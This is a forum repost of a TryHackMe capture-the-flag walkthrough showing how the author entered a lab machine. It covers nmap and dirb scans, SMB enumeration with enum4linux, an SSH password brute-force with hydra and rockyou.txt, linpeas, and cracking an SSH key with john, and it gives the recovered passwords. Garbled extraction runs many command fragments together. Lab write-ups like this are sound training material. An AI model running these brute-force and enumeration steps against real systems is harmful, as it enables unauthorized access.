![]() |
|
[Tut] How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe) - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe) (/thread-100772.html) |
[Tut] How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe) - xSicKxBot - 02-19-2023 How I used Enum4linux to Gain a Foothold Into the Target Machine (TryHackMe) 5/5 – (1 vote) Enum4linux is a software utility designed to extract information from both Windows and Samba systems. Its primary objective is to provide comparable functionality to the now-defunct enum.exe tool, which was previously accessible at www.bindview.com. Enum4linux is coded in PERL and essentially functions as an interface for the Samba toolset, including smbclient, rpclient, net, and nmblookup.CHALLENGE OVERVIEW
BACKGROUND ![]() This is a pretty standard type of CTF challenge that involves some recon, gaining an initial foothold, lateral privilege escalation, and discovery of the flags. It was a great way to review how to use the standard pentesting tools (i.e., Code: nmapCode: dirbCode: smbmapCode: johnCode: hydraIf you are just starting with CTF challenges, you may find some of the tools and concepts to be a bit more technical. Please check out the video walkthrough if anything is unclear in this write-up! ENUMERATION/RECON ![]() Code: IP ADRESSESCode: export targetIP=10.10.192.10
export myIP=10.6.2.23Code: NMAP SCANCode: nmap -A -p- -T4 -oX nmap.txt $targetIP
![]() DIRB SCAN Code: dirb http://$targetIP -o dirb.txt
![]() WALK THE WEBSITE ![]() Check our dev note section if you need to know what to work on. (I found a hint in sourcecode) Code: http://10.10.192.10/development/![]() Reading through these two documents, we learn the following interesting things:
Searching through Code: exploit-db
![]() I tried out this python exploit, but didn’t have any luck. Let’s move forward for now and enumerate the SMB server. ENUMERATING SMB Code: smbmap -a $targetIPWe see a listing for an anonymous login in our results. However, we aren’t able to log in as Code: anonymousUSING ENUM4LINUX TO EXTRACT SSH LOGIN CREDENTIALS ![]() Code: enum4linux -a 10.10.192.10Code: -aCode: -U -S -G -P -r -o -n -i![]() ![]() found users: Code: kayCode: janMy guess is that our first user credential with the easy hash will be for user Code: janCode: j.txtCode: /developmentCode: JUSING HYDRA TO BRUTEFORCE A PASSWORD FOR JAN/KAY Code: hydra -l jan -t 4 -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10
hydra -l kay -P /home/kalisurfer/hacking-tools/rockyou.txt ssh://10.10.192.10 discovered password for jan: armando![]() We’ll automate our local recon with Code: linpeas.shTo get the script on our target system, we spin up a simple python3 HTTP server on our attack box and use Code: wgetCode: /tmpAfter running Code: linpeas.sh![]() ![]() LATERAL PRIVILEGE ESCALATION TO USER KAY First we’ll use Code: ssh2john![]() Next, we’ll crack the password for the hash with john. ![]() Now that we’ve brute-forced the password with hashes of the wordlist Code: rockyou.txtCode: beeswaxPOST-EXPLOITATION Locate Code: pass.bakCat to find “final password” ![]() FINAL THOUGHTS ![]() This box showed the power of Code: enum4linuxLinpeas also can do similar things, but the big difference between the two is that Linpeas is for local enumeration, and Code: enum4linux Recommended: Web Hacking 101: Solving the TryHackMe Pickle Rick “Capture The Flag” Challenge
|